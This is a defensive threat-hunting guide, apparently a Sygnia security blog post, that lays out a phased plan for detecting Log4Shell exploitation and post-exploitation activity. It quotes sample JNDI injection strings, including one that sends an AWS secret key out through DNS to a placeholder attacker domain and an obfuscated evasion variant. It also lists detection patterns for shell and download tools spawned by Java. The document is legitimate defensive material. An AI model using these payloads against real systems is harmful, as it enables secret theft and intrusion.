End-to-End LOG4SHELL Hunting Strategy

Log4j2 is a widely used open-source Java logging library developed by the Apache foundation. On December 9, 2021 a critical unauthenticated remote code execution vulnerability was disclosed (CVE-2021-44228, aka “Log4Shell”), and exploitation proof of concept (PoC) was made public.

This vulnerability requires an attacker to generate a log on a specific target using Log4j causing the impacted system to retrieve malicious payloads from the attacker’s infrastructure over specific protocols, such as LDAP/S, DNS and RMI. This is done by generating user input, which is logged by the application and triggers the exploit.

For more information about Log4Shell see Sygnia’s Advisory.

In the week since the vulnerability was published, different threat groups (e.g., initial access brokers, state sponsored and financially motivated groups) were observed enumerating applications and externally facing systems to identify possible attack vectors. It is important to note that Log4Shell can be exploited both as an initial access vector (executing code on external facing systems) and as a lateral movement tactic` (exploiting internal systems to gain additional access).

The purpose of this blog is to help defenders hunt for Log4Shell exploitation attempts, distinguish between failed and successful attempts and identify post-exploitation activities.

End-to-End Hunting Strategy

Hunting successful Log4Shell exploits in your environment is not an easy task due to two main reasons:

1. The exploit doesn’t leave any hard evidence if it was executed.
2. In many cases the default visibility built into the vulnerable machines isn’t good enough to detect a successful exploit.

To address this problem, a structured strategy should be used to focus the investigation through the data and visibility available to you.

Execute the phases in the following plan:

• Phase 1 – Scoping the Risk and Identifying Initial Leads for the Hunt
  The goal of this phase is to give the defenders a scope of the relevant machines to then further investigate and hunt for threats. This includes combining three methods to gather the initial list of interesting machines for investigation.
• Phase 2 – Differentiating Between Successful and Failed Exploitation
  Sadly, there are only a few ways to identify successful Log4Shell exploits, the goal of this phase is to leverage existing visibility to identify suspicious activity on the machines identified in phase 1.
• Phase 3 – Post Exploitation Investigation
  Since we can’t solely rely on phase 2 to identify a successful Log4Shell exploit, we then need to search for any indications of post-exploitation activities. These include several known TTPs seen to be used by attackers that have already leveraged the vulnerability since it was disclosed. The machines identified in phase 1 are the relevant scope for executing these analyses.
• Phase 4 – Extended Hunt for Anomalies in Java Applications
  If the previous phases didn’t highlight any malicious activity the next step would be to conduct a deeper hunt on the scope of machines, looking for any suspicious activity on the machines (not focusing solely on the expected behavior associated with the exploit). This phase is costly and perhaps should be executed on critical assets from the set of machines identified in phase 1.
• Phase 5 – Visibility Enhancements
  The Log4Shell exploit saga is not yet over. In the following days, we might see additional CVEs published on new ways to exploit / chain with other exploits to achieve RCE – Making your environment visible might not be an easy task but is crucial to monitor for future risks.

Phase 1 – Scoping the Risk and Identifying Initial Leads for the Hunt

Log4J is used ubiquitously by different vendors in different environments (Windows, Linux and Cloud infrastructure). External exploitation attempts are often very wide, spraying entire address ranges to identify vulnerable systems. The first phase of the hunt is to identify which systems in your organization are vulnerable to Log4Shell, as this will allow you to focus on specific systems.

Unfortunately, there isn’t one simple way to identify vulnerable systems and you’ll need to combine several techniques:

Active Scanning

Leverage internal and external vulnerability scanners against your on-prem and cloud infrastructure. Commercial tools and open-source tools have added signatures or plugins to identify vulnerable Log4J instances. By ‘active scanners’ we refer to tools that actively attempt to exploit the vulnerability, often leveraging another server that will receive a connection from the system in case it’s vulnerable. The downside of this technique is that different payloads, delivered within different fields are required to successfully test all applications – an impossible task for all the available scanners.

Java application inspection

Search for JAR files, class files and process execution events associated with Log4j. Several GitHub repositories list all vulnerable JARs and classes by name and by hash. You can search this information in security solutions such as EDR or write a script that will search for them on specific systems. Another option is to leverage an open-source tool that was created to automate the identification of vulnerable Log4J JAR files (such as Fenrir, Log4jScan or LunaSec Log4Shell).

To complete the Java inspection, search process execution logs for command-line arguments that include ‘log4j’.

Narrowing down the scope: forensic evidence of exploitation attempts

After you scoped the systems that are vulnerable, compile a list of the systems that are being targeted and cross-out targeted systems that are not vulnerable.

There are several ways to identify Log4Shell exploitation attempts:

1. Search for publicly available indicators of compromise (IOCs):
   The National Cyber Security Centrum (NCSC-NL) are maintaining a GitHub repository with links to host and network related IOCs. Start by searching for them across your security stack.
2. Search DNS logs for suspicious queries from impacted systems:
   In the context of Log4Shell, attackers are utilizing DNS to identify vulnerable systems, leak sensitive information and possibly tunnel traffic. For example, if attackers want to steal environment variables, they can craft a request that will look like this:
   
   ${jndi: ldap://${env:AWS_SECRET_ACCESS_KEY}.subdomain.<Attacker Domain>
   
   Although this is an LDAP request, the result will be a DNS query sent to the attacker’s domain with the AWS environment variable. A different example is the usage of the DNS protocol to identify if a system is vulnerable, which may look like:
   
   ${jndi:dns://${hostName}.subdomain.<Attacker Domain>}
   
   If the system is vulnerable, the attacker will receive its hostname.
3. Search network traffic logs for exploitation attempts:
   Reverse proxy servers, web application servers, intrusion prevention systems and EDR solutions log information about URL / URI strings. Specific patterns can be indicative of exploitation attempts. In Log4J, in order to trigger Java Naming and Directory Interface (JNDI) lookup the attacker needs to use the syntax ${<expression>} to evaluate the expression. You can search the pattern of ${jndi: in the above-mentioned logs. That being said, be advised that there are many evasion techniques that can be leveraged to obfuscate these strings such as  ${jndi:${lower:l}${lower:d}a${lower:p}://<malicious address>), thus it is recommended to use regex to identify matching patterns.
4. Search Java application-specific logs:
   In order to trigger the exploit, the attacker needs their payload to be written into a vulnerable application log. If you’ve identified an application which uses log4J, for example Apache Solr, you can search its logs for the attacker’s payloads.
5. Check for Log4Shell exploitation alerts from your security vendors:
   Many security vendors have incorporated detections for Log4Shell exploitation attempts to their products. Check your security products for any alerts that include “log4J” or “log4shell” or “CVE-2021-44228″.
6. Check if any software you use is known to be vulnerable:
   If you have an updated inventory of the software used in your organization, you can compare with publicly available lists of vulnerable apps. A good place to start is with the software list maintained by CISA.

Phase 2 – Differentiating between successful and failed exploitation

The goal of this phase is to differentiate between a failed attempt to exploit the “log4J” vulnerability and a successful one. The following analyses can indicate a successful exploit attempt, however they rely on adequate visibility. Since these rely on unusual activity that the Java process initiates, these analyses can easily identify false positives if the Java application usually behaves unusually (e.g., spawning many child processes, initiating LDAP communications):

1. Suspicious Java child processes
   This scenario attempts to identify suspicious child processes that were initiated by Java application.
   On systems running Linux, search for suspicious child processes such as sh, bash, dash, ksh, tcsh, zsh, curl, perl, python, ruby, php, wget.

On windows systems, search for suspicious child processes such as cmd.exe, powershell.exe, wscript.exe, cscript.exe, sh.exe, bash.exe, rundll32.exe.

Any results returned should be triaged to exclude legitimate behavior.
For any suspicious results, review the command line of the suspicious child process and examine which processes it may have launched further.

2. Suspicious traffic of Java process
   This scenario searches for java processes that makes connections to external IP addresses on certain ports: 1389, 389, 1099, 53, 5353.
   If results were found, determine whether the external IP address and country of origin are unusual and may indicate a C2 server.

3. Suspicious HTTP traffic
   This scenario searches HTTP traffic originating from your organization with JAVA user-agent requesting .class URI.
   If results were found, determine whether the destination IP address and country of origin are unusual and may indicate a C2 server.

Phase 3 – Post Exploit Investigation

If you detected a successful exploitation attempt of Log4Shell, you should switch from threat hunting mode to incident response mode. However, if you didn’t find exploitation attempt or could not determine if an attempt was successful or not, you can hunt for post-exploitation attempts.

Thus far, the security community have shared the following post-exploitation tactics, techniques, and procedures (TTPs):

1. Suspicious execution of PowerShell
   Attackers are using base64 encoded PowerShell commands in order to download additional payloads to the compromised system. You can use process execution logs and PowerShell logs to search for these suspicious executions based on the process tree or the obfuscated command line.
2. Using Cobalt Strike as post-exploitation framework
   Attackers are deploying Cobalt Strike in order to maintain persistence, move laterally and exfiltrate data. A lot was published on how to hunt for Cobalt Strike. In the scope of this hunt, search for new service installation (with suspicious names, running a 7-character executable) and reviewing process execution logs, searching for thread injection, processes running from suspicious locations, system process (e.g., svchost.exe, explorer.exe) making abnormal external network connections as well as encoded PowerShell commands.
3. BITS job installation to download additional payloads
   Attackers are using the background intelligent transfer service (BITS) as a living-off-the-land technique to download malicious payloads while blending-in on the target system. It is recommended to search file creation events for files written on disk by BITS, reviewing BITS process tree and investigating external network connections made by BITS, focusing on rare domains and IP addresses.
4. Environment variable leakage via DNS
   As mentioned above, attackers are stealing sensitive information, including credentials, which is stored inside environment variables. EDR logs, proxy logs and DNS logs can be used to hunt for Java making anomalous DNS queries or DNS queries from vulnerable systems that have a long query name (as it includes the leaked information).
5. Maintaining persistence with scheduled tasks
   Attackers are abusing the scheduling mechanism (Cron jobs in Linux and scheduled tasks in Windows) to maintain persistence. Use process execution and file modification logs and review scheduled jobs to identify anomalies.
6. Adding SSH keys to the maintain persistence
   Attackers are modifying the SSH “authorized_keys” file to maintain persistence on compromised Linux machines, by adding their SSH key to the file. Use process execution logs to identify such modifications. 
7. Creation of suspicious files on disk
   After compromising the system, the attacker may download additional payloads and save them to disk. This presents a lucrative hunting opportunity: search for processes which were executed from suspicious location (such as temporary folders, administrative shares), files which were written to these locations as well as suspicious executions of tools such as curl and wget that can be used to download the files. 

Phase 4 – Extended Hunt for Anomalies in Java Applications

The last phase of the hunt, which completes the overall picture is to search for anomalies across the network. As mentioned above, this phase is a more costly search thus should be directed at critical / sensitive infrastructure and assets.

One option is to search for rare Java child process. As stated above, unless the attacker loads a malicious Java class into memory, and remains in the context of Java, the Java process on both Linux and Windows will spawn a child process based on the payload. In this hunt, fetch all child processes of Java and use statistics to find anomalous (rare) processes. Investigate each result to rule out possible compromise.

Another option is to collect all traffic made by the Java process and search for rare connections to external IP addresses. Counting how many times a specific IP address was contacted since the beginning of December (and especially since December 9th) and comparing the results to previous weeks can help identify the attacker’s infrastructure.

If you need to conduct a hunt for Log4Shell compromise and you don’t have the required visibility, you’ll need to perform a wide hunt for anomalies. For example, if you have only firewall logs, perform statistical analysis of all external network connections from the vulnerable systems. Focus on rare IP addresses, domains and ports until you eliminated all results. Another example is that your process execution logs don’t include command line arguments. In this case, hunt for execution of rare processes and rare parent-child relationships.

Phase 5 – Enhance Visibility

As mentioned above, visibility into the systems running Java applications in your environment is key to be able to identify a successful exploit. In most cases a decent audit policy on Windows systems running a Java application would be sufficient to determine a successful Log4Shell exploit, however Linux systems would usually not have the needed visibility.

Focus on gaining visibility of endpoint process executions and process network communications. These can be logged by EDRs, Sysmon, auditd, or additional 3rd party appliances.

If you were impacted by this attack or are seeking guidance on how to prevent similar attacks, please contact us at [email protected] or our 24 hotline +1-877-686-8680

This advisory and any information or recommendation contained herein has been prepared for general informational purposes and is not intended to be used as a substitute for professional consultation on facts and circumstances specific to any entity. While we have made attempts to ensure the information contained herein has been obtained from reliable sources and to perform rigorous analysis, this advisory is based on initial rapid study, and needs to be treated accordingly. Sygnia is not responsible for any errors or omissions, or for the results obtained from the use of this Advisory. This Advisory is provided on an as-is basis, and without warranties of any kind.